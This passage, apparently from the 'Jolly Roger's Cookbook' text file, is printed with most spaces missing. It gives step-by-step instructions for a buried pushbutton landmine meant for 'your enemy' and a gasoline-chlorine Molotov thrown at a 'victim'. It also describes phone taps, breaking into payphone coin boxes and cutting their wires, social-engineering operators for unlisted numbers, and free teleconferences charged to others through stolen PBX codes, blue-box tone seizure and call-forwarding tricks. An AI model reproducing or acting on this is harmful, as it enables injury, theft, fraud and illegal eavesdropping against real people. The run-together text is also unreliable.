phoneinordertopickuptheconversation.Theyworkonthesameprincipleasthe
littlesuctioncuptaperecordermikesthatyoucangetatRadioShack.Induction
mikescanbehookeduptoatransmitterorbewired.Hereisanexampleofindustrial
espionageusingthephone:Asalesmanwalksintoanoffice&makesaphonecall.
Hefakestheconversation,butwhenhehangsupheslipssomefoamrubbercubes
intothecradle.Thecalledpartycanstillhearallconversationsintheroom.When
someonepicksupthephone,thecubesfallawayunnoticed.Atapcanalsobeused
on a phone to overhear what your modem is doing when you are war dialling,
hackingorjustplaincallingaBBS(liketheWhiteRuins!Denver,Colorado!55
megsonline!Atari!Macintosh!Amigo!IBM!Callit!3039728566!Bythe
way,Ididthisadwithoutthesysopsconsentorknowledge!).Hereistheschematic:
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 The100Kpotisusedforvolume.Itshouldbeonitshighest(leastresistance)
settingifyouhooka speakeracrosstheoutput.Butit shouldbe set on itshighest
resistance for a tape recorder or amplifier. You may find it necessary to add
another1040K.Thecapacitorshouldbearound.47MFD.It'sonlypurposeisto
preventtherelayinthephonefromtripping&thinkingthatyouhavethephoneoff
ofthehook.TheaudiooutputtransformerisavailableatRadioShack.(part#273
138Eforinput).Thered&thewhitewiresgototheoutputdevice.Youmaywantto
experimentwiththetransformerforthebestoutput.Hookingupataperecorderrelay
iseasy.Justhookoneofthephonewires(usuallyred)tothetheendofoneofthe
relay&thethereendjustlooparound.Thisbypassesit.Itshouldlooklikethis:
^^^^^^^^^

relay^^
(part#275004fromRadioShackworksfine)
Ifyouthinkthatyoulineistapped,thefirstthingtodoistophysicallyinspectthe
line yourself especially the phones. You can get mike replacements with bug
detectorsbuiltin.However,Iwouldnottrustthemtoomuch.Itistooeasytogeta
wrong reading. For more info: bugs and electronic surveillance from Desert
Publicationshowtoavoidelectroniceavesdropping&privacyinvasion.Idonot
rememberwhothisoneisfrom,youmightwanttotryPaladinPress.
Howtomakealandmine
byJollyRoger
Firstyouneedtogetapushbuttonswitch.Takethewiresofitandconnectonetoa
ninevoltbatteryconnectorandtheothertoasolarigniter(usedforlaunchingmodel
rockets). A very thin piece of stereo wire will usually do the trick if you are
desperate,but Irecommendtheigniter.Connecttheother wireofthenine volt
batterytooneendoftheswitch.Connectawirefromtheswitchtotheotherleadon
thesolarigniter.
switchbattery
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solarigniter
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explosive

 Nowconnecttheexplosive(pipebomb,m80,CO2bomb,etc.)totheigniterby
attachingthefusetotheigniter(sealitwithscotchtape).Nowdigahole;nottoo
deepbutenoughtocoverallofthematerials.Thinkaboutwhatdirectionyourenemy
willbecomingfromandplanttheswitch,butleavethebuttonvisible(nottoovisible
!).Planttheexplosiveabout35feetawayfromtheswitchbecausetherewillbea
delayintheexplosionthatdependsonhowshortyourwickis,and,ifahomemade
wickisbeingused,itsburningspeed.Butifyougetitrightandyourenemyisclose
enough.
AdifferentkindofMolotovCocktail
byJollyRoger
Hereishowyoudoit: Getacokebottle&fillitwithgasolineabouthalffull.
Cramapieceofclothintotheneckofitniceandtight.Getachlorinetabletandstuff
itinthere.Youaregoingtohavetoforceitbecausethetabletsarebiggerthanthe
openingofthebottle.Nowfindasuitablevictimandwingitintheirdirection.When
ithitsthepavementoranysurfacehardenoughtobreakitandthechlorineand
gasolinemix...boom!!!

PhoneSystemsTutorial
byJollyRoger
To start off, we will discuss the dialling procedures for domestic as well as
internationaldialling.Wewillalsotakealookatthetelephonenumberingplan.
NorthAmericanNumberingPlan
InNorthAmerica,thetelephonenumberingplanisasfollows:
A)a3digitNumberingPlanArea(NPA)code,IE,areacode;
B)a7digittelephone#consistingofa3digitCentralOffice(Co)codeplusa4digit
station#.These10digitsarecalledthenetworkaddressordestinationcode.Itisin
theformatof:
AreaCodeTelephone#

N*XNXXXXXX
WhereN=adigitfrom2to9*=thedigit0or1X=adigitfrom0to9.

AreaCodes
Checkyourtelephonebookortheseparatelistingofareacodesfoundonmany
BBS's.Herearethespecialareacodes(Sac's):

510TWX(U.S.A.)
800Wats
610TWX(Canada)
810TWX(U.S.A.)
700NewService
900DialItServices
710TWX(U.S.A.)
910TWX(U.S.A.)
Theotherareacodesnevercrossstatelines,thereforeeachstatemusthaveatleast
oneexclusiveNPAcode.Whenacommunityissplitbyastateline,theCo#'sare
ofteninterchangeable(IE,youcandialthesamenumberfromtwodifferentarea
codes).TWX(TelexII)consistsof5teletypewriterareacodes.Theyareownedby
WesternUnion.TheseSAC'smayonlybereachedviaotherTWXmachines.These
runat110baud(lastIchecked!Theyaremostlikelyfasternow!).Besidesthe
TWX#'s,thesemachinesareroutedtonormaltelephone#'s.TWXmachinesalways
respondwithananswerback.Forexample,WU'sFYITWX#is(910)2795956.
Theanswerbackforthisserviceis"WUFYIMAWA".Ifyoudon'twanttobuta
TWXmachine,youcanstillsendTWXmessagesusingEasylink[800/3254112].
Howeveryouaregonehavetohackyourwayontothisone!
700: 700iscurrentlyusedbyAT&Tasacallforwardingservice.Itistargeted
towardssalesmenontherun.Tounderstandhowthisworks,I'llexplainitwithan
example.Let'ssayJoeQ.SalespigworksforAT&Tsecurityandheisontherun
chasingafreakaroundthecountrywhoroyallyscrewedupanimportantCosmos
system.Let'ssaythatJoe's700#is(700)3825968.EverytimeJoegoestoanew
hotel(ormostlikely sleazymotel,hedialsaspecial700#,entersacodeandthe
numberwhereheisstaying.Now,ifhisbossreceivedsomeimportantinfo,allhe
woulddoisdial(700)3825968anditwouldringwhereverJoelastprogrammedit
to.Neat,huh?
800:ThisSACisoneofmyfavouritessinceitallowsfortollfreecalls.InwardWats
(Inwats)orInwardWideAreaTelecommunicationsServiceisthe800#'sthatwe
areallfamiliarwith.800#'saresetupinserviceareasorbands.Thereare6ofthese.
Band6isthelargestandyoucancallaband6#fromanywhereintheUSexceptthe
statewherethecallisterminated(thatiswhymostcompanieshaveone800number
for the country and then another one for their state.) Band 5 includes the 48
contiguous states. All the way down to band 1 which includes only the states
contiguoustothatone.Therefore,lesspeoplecanreachaband1Inwats#thana
band6#.IntrastateInwats#'s(i.e.,youcancallitfromonly1state)alwayshavea
2asthelastdigitintheexchange(i.e.,800NX2XXXX).TheNXXon800#'s
representtheareawherethebusinessislocated.Forexample,a#beginningwith
800431wouldterminateataNyCo.800#'salwaysendupinahuntseriesinaCO.

Thismeansthatittriesthefirst#allocatedtothecompanyfortheir800lines;ifthis
isbusy,itwilltrythenext#,etc.Youmusthaveaminimumof2linesforeach800
#.Forexample,Travelnetusesahuntseries.Ifyoudial(800)5218400,itwillfirst
trythe#associatedwith8400;ifitisbusyitwillgotothenextavailableport,etc.
Inwatscustomersarebilledbythenumberofhoursofcallsmadetotheir#.Outwats
(OutwardWats):Outwatsareformakingoutgoingcallsonly.Largecompaniesuse
Outwatssincetheyreceivebulkratediscounts.SinceOutwatsnumberscannothave
incomingcalls,theyareintheformatof:(800)*XXXXXXXwhere*isthedigit0
or1(oritmayevenbedesignatedbyaletter)whichcannotbedialledunlessyoubox
thecall.The*XXidentifiesthetypeofserviceandtheareasthatthecompanycan
call.Remember:Inwats+Outwats=WatsExtender.
900:ThisDialItSacisanationwidedialitservice.Itisusefortakingtelevision
pollsandotherstuff.Thefirstminutecurrentlycostsanoutrageous5085centsand
eachadditionalminutecosts3585cents.Helltakesinalotofrevenuethisway!
Dial(900)5551212tofindoutwhatiscurrentlyonthisservice.
Cocodes
Theseidentifytheswitchingofficewherethecallistoberouted.ThefollowingCo
codesarereservednationwide:
555directoryassistance
958planttest
844time.Thesearenowin!
959planttest
936weatherthe976exchange
970planttest(temporary)
950futureservices
976DialITservices
Alsothe3digitANI&ringback#'sareregardedasplanttestandarethus
reserved.Thesenumbersvaryfromareatoarea.Youcannotdiala0or1asthefirst
digitoftheexchangecode(unlessusingabluebox!).Thisisduetothefactthat
theseexchanges(000199)containsallsortsofinterestingshitsuchasconference#
's,operators,test#'setc.
950:Herearetheservicesthatarecurrentlyusedbythe950exchange:
1000SPC

1022MCIExecunet
1033USTelephone

1044Allnet
1066Lexitel
1088SBSSkyline

TheseSCC's(SpecializedCommonCarriers)arefreefromfortressphones!Also,
the950exchangewillprobablybephasedoutwiththeintroductionofEqualAccess.
PlantTests:TheseincludeANI,Ringback,andothervarioustests.
976:Dial9761000toseewhatiscurrentlyontheservice.Also,manyBBS'shave
listingsofthesenumbers.N11codes:Bellistryingtophaseoutsomeofthese,but

theystillexistinmostareas.
011internationaldiallingprefix
211coinrefundoperator
411directoryassistance

611repairservice
811businessoffice
911emergency

InternationalDialling
WithInternationalDialling,theworldhasbeendividedinto9numberingzones.To
makeaninternationalcall,youmustfirstdial:InternationalPrefix+Countrycode+
National#InNorthAmerica,theinternationaldiallingprefixis011forstationto
stationcalls.IfyoucandialInternational#'sdirectlyinyourareathenyouhave
InternationalDirectDistanceDialling(IDDD).Thecountrycode,whichvaries
from 1 to 3 digits, always has the world numbering zone as the first digit. For
example, the country code for the United Kingdom is 44, thus it is in world
numberingzone4.Someboardsmaycontainacompletelistingofothercountry
codes,buthereIgiveyouafew:
1NorthAmerica(U.S.,Canadaetc.) 52Mexico(southernportion)
20Egypt
7Russia
258Mozambique
81Japan
34Spain
98Iran(call&hasslethosebastards!)
49Germany
IfyoucallfromanareaotherthanNorthAmerica,theformatisgenerallythesame.
Forexample,let'ssaythatyouwantedtocalltheWhiteHousefromSwitzerlandto
telltheprezthathisnumberedbankaccountisoverdrawn(ithappens,youknow!ha
ha).Firstyouwoulddial00(theSwissinternationaldiallingprefix),then1(theU.
S.countrycode),followedby2024561414(thenational#fortheWhiteHouse.
JustaskforGeorgiaandgivehimthebadnews!)Alsocountrycode87isreserved
forMaritimeMobileService,i.e.,callingships:
871Marisat(Atlantic)
871Marisat(Pacific)
872Marisat(Indian)
InternationalSwitching
InNorthAmericatherearecurrently7no.4ESS'sthatperformthedutyofISC
(International Switching Centres). All international calls dialled from numbering
zone1willberoutedthroughoneofthese"gatewaycities".Theyare:
182WhitePlains,NY

183NewYork,NY
184Pittsburgh,PA
185Orlando,Fl

186Oakland,CA
187Denver,CO
188NewYork,NY

 The 18X series are operator routing codes for overseas access (to be farther
discussedwithblueboxes).Allinternationalcallsuseasignallingservicecalled
CCITT.Itisaninternationalstandardforsignalling.O.K.thereyougofornow!If
youwanttoreadmoreaboutthis,readparttwowhichisthenextfile#36intheJolly
Roger'scookbook!
PhoneSystemsTutorialpartII
byJollyRoger
PartIIwilldealwiththevarioustypesofoperators,officehierarchy&switching
equipment.
Operators
Therearemanytypesofoperatorsinthenetworkandthemorecommononeswill
bediscussed.
TSPSOperator
TheTSPS[(TrafficServicePositionSystem)assopposedtoThisShittyPhone
Service]Operatorisprobablythebitch(orbastard,forthefemalelibertationistsout
there) that most of us are used to having to deal with. Here are his/ her
responsibilities:
Obtainingbillinginformationforcallingcardorthirdnumbercalls;
Identifyingcalledcustomeronpersontopersoncalls;
Obtainingacceptanceofchargesoncollectcalls;
Identifying calling numbers. This only happens when the calling # is not
automaticallyrecordedbyCama(CentralizedAutomaticMessageAccounting) &
forwardedfromthelocaloffice.Thiscouldbecausedbyequipmentfailures(Anif
AutomaticNumberIdentificationFailure)oriftheofficeisnotequippedforCama
(OniOperatorNumberIdentification).
Ioncehasanequipmentfailurehappentome&theTSPSoperatorcameonand
said,"What#areyoucallingfrom?"Outofcuriosity,Igaveherthenumbertomy
Co,shethankedme&thenIwasconnectedtoaconversationthatappearedtobe
between a frame man & his wife. Then it started ringing the party I wanted to
originallycall&everyonefreakedout(excusethepun).Iimmediatelydroppedthis
duallineconference!YoushouldnotmesswiththeTSPSoperatorsincesheknows
whichnumberthatyouarecallingfrom.Yournumberwillshowupona10digit
Ledreadout(ANIboard).Shealsoknowswhetherornotyouareatafortressphone
&shecantracecallsquitereadily!Outofalloftheoperators,sheisoneofthemost
dangerous.
Inwardoperator

 ThisoperatorassistsyourlocalTSPS("0")operatorinconnectingcalls.Shewill
neverquestionacallaslongasthecalliswithinherservicearea.Shecanonlybe
reachedviaotheroperatorsorbyabluebox.Fromabluebox,youwoulddialKP+
NPA+121+STfortheinwardoperatorthatwillhelpyouconnectanycallswithin
thatNPAonly.(BlueBoxingwillbediscussedinafuturefile).
Directoryassistanceoperator
Thisistheoperatorthatyouareconnectedtowhenyoudial:411orNPA555
1212.Shedoesnotreadilyknowwhereyouarecallingfrom.Shedoesnothave
accesstounlistednumbers,butshe does knowifanunlisted#existsforacertain
listing.Thereisalsoadirectoryassistanceoperatorfordeafpeoplewhousetele
typewriters.IfyourmodemcantransferBaudot[(45,5baud).OnemodemthatI
knowofthatwilldothisistheAppleCatacousticortheAtari830acousticmodem.
YeaIknowtheyarehardtofind,butifyouwantdothis,lookaround!)thenyoucan
callhim/herupandhaveaninterestingconversation.The#is:8008551155.They
usethestandardTelexabbreviationssuchasGAforgoahead.Theytendtobenicer
andwilltalklongerthanyourregularoperators.Also,theyaremorevulnerableinto
being talked out of information through the process of "social engineering" as
ChesireCatalystwouldputit.Unfortunately,theydonothaveaccesstomuch.Ionce
bullshittedwithoneoftheseoperatorsawhilebackandIfoundoutthatthereare2
such DA offices that handle TTY. One is in Philadelphia and the other is in
California.Theyhaveapprox.7operatorseach.mostoftheTTYoperatorsthinkthat
theirjobisboring(basedonanofficial"BIOCpoll").Theyalsofeelthattheyare
underpaid.TheyactuallycalluparegularDA#toprocessyourrequest(sorry,no
fancycomputers!)OtheroperatorshaveaccesstotheirownDAbydiallingKP+
NPA+131+ST(MF).
CN/Aoperators
CN/AOperatorsareoperatorsthatdoexactlytheoppositeofwhatdirectory
assistanceoperatorsarefor.Inmyexperience,theseoperatorsknowmorethanthe
DAop'sdo&theyaremoresusceptibleto"socialengineering."Itispossibleto
bullshitaCN/AoperatorfortheNonPubDa#(i.e.yougivethemthename&
they give you the unlisted number. See the article on unlisted numbers in this
cookbookformoreinfoaboutthem).Thisisduetothefactthattheyassumethatyou
areafellowcompanyemployee.Unfortunately,theAT&Tbreakuphasresultedin
thebreakupofafewNonPubDa#'sandpolicychangesinCN/A.
Interceptoperator
Theinterceptoperatoristheonethatyouareconnectedtowhentherearenote
noughtrecordingsavailabletotellyouthatthe#hasbeendisconnectedorchanged.
Sheusuallysays,"What#youcalling?"withaforeignaccent.Thisisthelowest
operatorlifeform.Eventhoughtheydon'tknowwhereyouarecallingfrom,itisa

wasteoryourtimetotrytoverballyabusethemsincetheyusuallyunderstandvery
littleEnglishanyway.Incidentally,afewareadohaveintelligentinterceptoperators.
Otheroperators
And then there are the: Mobile, Ship to Shore, Conference, Marine Verify,
"LeaveWordandCallBack,"Rout&Rate(KP+800+141+1212+ST)&other
specialoperatorswhohaveonepurposeoranotherinthenetwork.Problemswithan
OperatorAsktospeaktotheirsupervisor...orbetteryettheGroupChief(whoisthe
highestrankingofficialinanyoffice)whoistheequivalentoftheMadameina
whorehouse.Bytheway,someCo'sthatwillallowyoutodiala0or1asthe4th
digit,willalsoallowyoutocallspecialoperators&otherfunTel.Co.#'swithouta
bluebox.Thisisveryrare,though!Forexample,2121211111willgetyouaNy
InwardOperator.
OfficeHierarchy
EveryswitchingofficeinNorthAmerica(theNPAsystem),isassignedanoffice
nameandclass.Therearefiveclassesofofficesnumbered1through5.YourCois
mostlikelyaclass5orendoffice.Alllongdistance(Toll)callsareswitchedbya
tollofficewhichcanbeaclass4,3,2or1office.Thereisalsoaclass4Xoffice
called an intermediate point. The 4 X office is a digital one that can have an
unattendedexchangeattachedtoit(knownasaRemoteSwitchingUnit(RSU)).The
followingchartwilllisttheOffice#,name&howmanyofthoseofficeexist(tothe
bestofmyknowledge)inNorthAmerica:
ClassNameABB#Existing

>1RegionalCentreRC12
>2SectionalCentreSC67
>3PrimaryCentrePC230
>4TollCentreTC1300
>4PTollPointTPn/a
>4XIntermediatePointIPn/a
>5EndOfficeEO19000
>6RSURSUn/a
Whenconnectingacallfromonepartytoanother,theswitchingequipmentusually
triestofindtheshortestroutebetweentheclass5endofficeofthecaller&theclass
5endofficeof thecalledparty.Ifnointerofficetrunksexistbetweenthetwo
parties,itwillthenmoveupwardtothenexthighestofficeforservicingcalls(Class
4).IftheClass4officecannothandlethecallbysendingittoanotherClass4or5
office, it will then be sent to the next highest office in the hierarchy (3). The
switchingequipmentfirstusesthehighusageinterofficetrunkgroups,iftheyare
busythenitgoestothefinal;trunkgroupsonthenexthighestlevel.Ifthecallcannot

beconnected,youwillprobablygetareorder[120IPM(interruptionsperminute)
busysignal.
PhoneSystemsTutorialIII
byJollyRoger
Preface
Thisarticlewillfocusprimarilyonthestandardwesternelectricsingleslotcoin
telephone(akafortressphone)whichcanbedividedinto3types:dialtonefirst
(dtf);coinfirst(CF):(i.e.,itwantsyour$beforeyoureceiveadialtone);dialpost
payservice(PP):youpaythepartyanswers.
Depositingcoins(slugs)
Onceyouhavedepositedyourslugintoafortress,itissubjectedtoagamutof
tests.Thefirstobstacleforaslugisthemagnetictrap.Thiswillstopanylightweight
magneticslugsandcoins.Ifitpassesthis,theslugisthenclassifiedasanickel,dime
orquarter.Eachslugisthencheckedforappropriatesizeandweight.Ifthesetests
arepassed,itwillthentravelthroughanickel,dimeorquartermagnetasappropriate.
Thesemagnetssetupaneddycurrenteffectwhichcausescoinsoftheappropriate
characteristicstoslowdownsotheywillfollowthecorrecttrajectory.Ifallgoes
well,thecoinwillfollowthecorrectpath(suchasbouncingoffofthenickelanvil)
where it will hopefully fall into the narrow accepted coin channel. The rather
elaborateteststhatareperformedasthecointravelsthecoinchutewillstopmost
slugsandotherundesirablecoins,suchaspennies,whichmustthenberetrieved
usingthecoinreleaselever.Iftheslugmiraculouslysurvivesthegamut,itwillthen
striketheappropriatetotalizerarmcausingaratchetwheeltorotateonceforevery5
centincrement(eg,aquarterwillcauseittorotate5times).Thetotalizerthencauses
thecoinsignaloscillatortoreadoutadualfrequencysignalindicatingthevalue
depositedtoacts(acomputer)ortheTSPSoperator.Thesearethesametonesused
byfreaksintheinfamousredboxes.Foraquarter,5beeptonesareoutpulsedat12
17pulsespersecond(PPS).Adimecauses2beeptonesat58,5PPSwhileanickel
causesonebeeptoneat58,5PPS.Abeepconsistsof2tones:2200+1700hz.A
relayinthefortresscalledthe"BRelay".(Yes,thereisalsoana relay)placesa
capacitoracrossthespeechcircuitduringtotalizerreadouttopreventthe"customer"
fromhearingtheredboxtones.Inolder3slotphones:onebell(10501100hz)for
anickel,twobellsforadimeandonegong(800hz)foraquarterareusedinsteadof
themoderndualfrequencytones.
TSPS&ACTS
Whilefortressesareconnectedtothecoofthearea,alltransactionsarehandledvia
thetrafficservicepositionsystem(TSPS).Inareasthatdonothaveacts,allcallsthat

requireoperatorassistance,suchascallingcardandcollect,areautomaticallyrouted
toaTSPSoperatorposition.Inanefforttoautomatefortressservice,acomputer
systemknownasautomatedcointollservice(ACTS)hasbeenimplementedinmany
areas.ACTSlistenstotheredboxsignalsfromthephonesandtakesappropriate
action.ItisACTSwhichsays,"Twodollarsplease(pause)pleasedeposittwodollars
forthenexttenseconds"(andothervariations).Also,ifyoutalkformorethanthree
minutesandthenhangup,ACTSwillcallbackanddemandyourmoney.ACTSis
also responsible for automated calling card service. ACTS also provide trouble
diagnosisforcraftspeople(repairmenspecializinginfortresses).Forexample,there
isacointestwhichisgreatfortuningupredboxes.Inmanyareasthistestcanbe
activated by dialling 09 591 230 at a fortress (thanks to Karl Marx for this
information).Onceactivateditwillrequestthatyoudepositvariouscoins.Itwill
thenidentifythecoinandoutpulsetheappropriateredboxsignal.Thecoinsare
usuallyreturnedwhenyouhangup.Tomakesurethatthereisactuallymoneyinthe
phone,theCoinitiatesa"groundtest"atvarioustimestodetermineifacoinis
actuallyinthephone.Thisiswhyyoumustdepositatleastanickelinordertousea
redbox!

Greenboxes
Payingtheinitialrateinordertousearedbox(oncertainfortresses)leftasour
tasteinmanyredboxer'smouthsthusthegreenboxwasinvented.Thegreenbox
generatesusefultonessuchascoincollect,coinreturnandringback.Thesearethe
tones that ACTS or the TSPS operator would send to the Co when appropriate.
Unfortunately,thegreenboxcannotbeusedatafortressstationbutitmustbeused
nythecalledparty.Herearethetones:coincollect700+1100hz,coinreturn1100
+1700hz,ringback700+1700hz.Beforethecalledpartysendsanyofthese
tones,anoperatorreleasedsignalshouldbesenttoalerttheMFdetectorsattheCo.
Thiscanbeaccomplishedbysending900+1500hzorasingle2600hzwink(90
ms)followedbya60msgapandthentheappropriatesignalforatleast900ms.
Also,donotforgetthattheinitialrateiscollectedshortlybeforethe3minuteperiod
isup.Incidentally,oncetheaboveMFotonesforcollectingandreturningcoinsreach
theCO,theyareconvertedintoanappropriateDCpulse(130voltsforreturn&
+130voltsforcollect).Thispulseisthensentdownthetiptothefortress.This
causesthecoinrelaytoeitherreturnorcollectthecoins.Thealleged"TNetwork"
takesadvantageofthisinformation.Whenapulseforcoincollect(+130VDC)is
sentdowntheline,itmustbegroundedsomewhere.Thisisusuallyeithertheyellow
orblackwire.Thus,ifthewiresareexposed,thesewirescanbecuttopreventthe
pulsefrombeinggrounded.Whenthethreeminuteinitialperiodisalmostup,make
surethattheblack&yellowwiresaresevered;thenhangup,waitabout15seconds
Sincaseofasecondpulse,reconnectthewires,pickupthephone,hangupagain
andifallgoeswellitshouldbe"Jackpot"time.
PhysicalAttack

Atypicalfortressweighsroughly50lbs.Withanemptycoinbox.Mostofthisis
accountedforinthearmourplating.Whyallthesecurity?Well,Bellcontributesit
tothefollowing"socialchangesduringthe1960'smadethemultislotcoinstationa
primetarget for:vandalism,strongarmrobbery,fraudandtheftofservice.This
broughtabouttheintroductionofthemoreruggedsingleslotcoinstationandanew
environmentforcoinservice."Asforpickingthelock,IwillquoteMr.Phelps:"We
oftenfantasizeaboutpickingthelockorgettingamasterkey.Well,youcan
forgetaboutit.Idon'tliketodiscouragepeople,butitwillsaveyoufromwastinga
lotofourtimetimewhichcanbeputtobetteruse(heh,heh)."Asforphysicalattack,
thecoinplateissecuredonallfoursidebyhardenedsteelboltswhichpassthrough
twoslotseach.Theseboltsareinturninterlockedbythemainlock.OnefreakI
knowdidmanagetotakeoneofthemothershome(whichwasattachedtoapiece
ofplywoodataconstructionsite;otherwise,thepermanentonesareabitchtodetach
formthewall!).Ittookhimalmosttenhourstoopenthecoinboxusingapower
drill,sledgehammersandcrowbars(whichwasemptyperhapsnexttime,hewill
depositacoinfirsttohearifitslushesdownnicelyorhitstheemptybottomwitha
clunk).Takingthephoneoffersahighermarginofsuccess.Althoughthismaybe
difficultoftenrequiringbruteforceandtherehasbeenseveralcasesofbackaxles
beinglosttryingtotakedownaphone!Aquickanddirtywaytoopenthecoinbox
isbyusingashotgun.InDetroit,afterecologistscleanedoutamunicipalpond,they
found168coinphonerifled.Incolderareas,suchasCanada,someshrewdpeople
tapeupthephonesusingducttape,pourinwaterandcomebackthenextdaywhen
thewaterwillhavefrozethusexpandingandcrackingthephoneopen.Inonecase,
"unauthorizedcoincollectors"wherecaughtwhentheybrought$6000inchangeto
abankandthebankbecamesuspicious,atanyrate,themainlockisaneightlever
tumblerlocatedontherightsideofthecoinbox.Thislockhas390625possible
positions(5^8,sincethereare8tumblerseachwith5possiblepositions)thusitis
highlypickresistant!Thelockisheldinplaceby4screws.Ifthereissufficient
clearancetotherightofthephone,itisconceivabletopunchoutthescrewsusing
thedrillingpatternbelow(providedbyAlexMundyintap#32):
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Afterthisisaccomplished,thelockcanbepushedbackwardsdisengagingthelock
form thecover plate. Thefour bolts of thecover platecan thenberetracted by
turningtheboltworkswithasimplekeyintheshapeoftheholeonthecoinplate
(seediagrambelow).Ofcourse,thereareothermethodsanddrillingpatterns.

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[roughly]
diagramofcoverplatekeyhole
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Thetopcoverusesasimilar(butnotasstrong)lockingmethodwiththekeyhole
depictedaboveonthetoplefthideandaregularlock(probablytumbleralso)onthe
top right hand side. It is interesting to experiment with the coin shute and the
fortressesown"redbox"(whichBelldidn'thavethe'balls'tocolourred).
Miscellaneous
Inafewareas(rural&Canada),postpayserviceexists.Withthistypeofservice,
the mouthpiece is cut off until the caller deposits money when the called party
answers. This also allows for free calls to weather and other DialIT services !
Recently,2600Magazineannouncedtheclearboxwhichconsistsofatelephone
pickupcoilandasmallAMP.Itisbasedontheprincipalthatthereceiverisalsoa
weaktransmitterandthatbyamplifyingyoursignalyoucantalkviathetransmitter
thusavoidingcostlytelephonecharges!Mostfortressesarefoundinthe9XXXarea.
UnderformerBellareas,theyusuallystartat98XX(rightbelow the99XXofficial
series)andmovedownward.Sincetheline,notthephone,determineswhetherornot
adepositmustbemade,DTF&Chargeacallphonesmakegreatextensions!

Finally,fortressphonesallowforanewhobbyinstructionplatecollecting.Allthatis
requiredisaflatheadscrewdriverandapairofneedlenosepliers.Simplyusethe
screwdrivertoliftunderneaththeplatesothatyoucangrabitwiththepliersand
yankdownwards.Iwouldsuggestcoveringthetipsoftheplierswithelectricaltape
topreventscratching.Tencentplatesaredefinitelybecominga"rarity"!
Fortresssecurity
Whilealonelyfortressmayseemtheperfecttarget,beware!TheGestapohasbeen
knowntostrakeoutfortressesforaslongas6yearsaccordingtothegrassroots
quarterly.Toavoidanyproblems,donotusethesamephonesrepeatedlyforboxing,
callingcard&otherexperiments.TheTelcoknowshowmuchmoneyshouldbein
thecoinboxandwhenitsnottheretheytendtogetperturbed(read:pissedoff).
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JollyRoger
P.S.ThiswasoriginallywrittenbackinmyoldApple][days,hencetheupper
case.IjustdidnotthinkIshouldwastethelittletimeIhavetoworkonthisshit
convertingittolowercase.Hell,Ithought80columnswasprettyniceofme,heh
heh!Well,enjoythisandtherestofthisCookbook!
JR
BasicAllianceTeleconferencing
courtesyofJollyRoger
Introduction
This file will deal with accessing, understanding and using the Alliance
TeleconferencingSystems,ithasmanysectionsandforbestuseshouldbeprinted
out.Enjoy!
Alliance
AllianceTeleconferencingisanindependentcompanywhichallowsthegeneral
public to access and use it's conferencing equipment. Many rumours have been
floatingaroundthatAllianceisasubsidiaryofAT&T.Well,theyarewrong.As
statedabove,Allianceisanentirelyindependentcompany.Theyusesophisticated
equipmenttoallowuserstotalktomanypeopleatonce.
TheNumber
Allianceisinthe700exchange,thusitisnotlocalized,well,notinaway.Alliance
is only incertainstates, and onlyresidents of these certainstates can access by
diallingdirect.This,however,willbediscussedinalaterchapter.Thenumbersfor
allianceareasfollows:

07004561000(Chicago)
2002(?)
1001(LosAngeles)
2003(?)
1002(Chicago)
3000(?)
1003(Houston)
3001(?)
2000(?)
3002(?)
2001(?)
3003(?)
Thelocationsofthefirst4numbersareknownandihavestatedthem.However,
thenumbersinthe200xand300xarenotdefinitelyknown.Rumourhasitthatthe
patternrepeatsitselfbutthishasnotbeenproven.
Dialling
Asstatedbefore,Allianceisonlyincertainstatedandonlythesestatescanaccess
themviadiallingdirect.However,diallingdirectcausesyourresidencetobecharged
fortheconferenceandconferencebillsarenotlow!!!Therefore,manywayshave
beendiscoveredtostartaconferencewithouthavingitbilledtooneshouse.Theyare
asfollows:diallingthroughaPBX;incorporatingaBlueBox;billingtoaloopand
billingtoaforwardedcall.Iamsuretherearemanymorebutthesearethefouriwill
dealwith.
DiallingthroughaPBX
ProbablytheeasiestmethodofcreatingafreeconferenceisthroughaPBX.Simply
calloneinastatethathasAlliance,inputthePBX'scode,dial9foranoutsideline
andthendialalliance.Anexampleofthiswouldbe:PBX:8002414911Whenit
answersitwillgiveyouatone.Atthistoneinputyourcode.Code:1234.Afterthis
youwillreceiveanothertone,nowdial9foranoutsideline.Youwillnowheara
dialtone.SimplydialAlliancefromthispointandtheconferencewillbebilledtothe
PBX.
UsingaBlueBox
Another rather simple way of starting a conference is with a Blue Box. The
followingprocedureishowtoboxaconference:Dialanumbertoboxoffof.Inthis
examplewewilluse6096096099Whenthepartyanswershit2600hz.Thiswill
causethephonecompany'sequipmenttothinkthatyouhavehungup.Youwillhear
aYouhavenowseizedatrunk.Afterthis,switchtomultifrequencyanddial:
KP

700

456

00

ST
KP=

KP

tone

on

Blue

Box
x=

variable

between

and

3
ST=STtoneonBlueBox
The equipment now thinks that the operator has dialled Alliance from her
switchboardandtheconferenceshallbebilledthere.SinceBlueBoxingissucha
largetopic,thisisasfarasIwillgointoit'suses.

Billingtoaloop
Athirdmethodofreceivingafreeconferenceisbybillingouttoaloop.Aloopis2
numbers that when two people call, they can talk to each other. You're saying
whoopteedoright?Wrong!Loopscanbe[very]usefultofreaks.First,dial
alliancedirect.Aftergoingthroughthebeginningprocedure,whichwillbediscussed
laterinthistutorial,dial0andwaitforanAllianceoperator.Whensheanswerstell
heryouwouldliketobilltheconferencetosuchandsuchanumber(Aloopwhere
yourfriendisontheotherside).Shewillthencallthatnumbertoreceivevoice
verification.Ofcourseyourfriendwillbewaitingandwillacceptthecharges.Thus,
theconferenceisbilledtotheloop.

Billingtocallforwarding
Whenyoudialanumberthatiscallforwarded,itisfirstansweredbytheoriginal
location,thenforwarded.Theoriginallocationwillhangupif2600hzisreceived
fromonlyonendoftheline.Therefore,ifyouweretowaitaftertheforwarded
residenceanswered,youwouldreceivetheoriginallocation'sdialtone. Example:
Dial8003254067.Theoriginalresidencewouldanswer,thenforwardthecall,a
secondtypeofringingwouldbeheard.Whenthissecondresidenceanswerssimply
waituntiltheyhangup.Afterabouttwentysecondsyouwillthenreceivetheoriginal
residence'sdialtonesinceitheard2600hzfromoneendoftheline.Simplydial
Alliancefromthispointandtheconferencewillbebilledtotheoriginalresidence.
Thesearethefourmainwaystoreceiveafreeconference.Iamsuremanymore
exist,butthesefourarequitehandythemselves.
LogonProcedure
OnceAllianceanswersyouwillhearatwotonecombination.Thisistheirwayof
saying'Howmanypeopledoyouwantontheconferencedude?Simplytypeina2
digitcombination,dependingonwhatbridgeofAllianceyouareon,between10and
59.Afterthiseitherhit*tocanceltheconferencesizeandinoutanotherorhit
#tocontinue.YouarenowinAllianceTeleconferencingandareonlyseconds
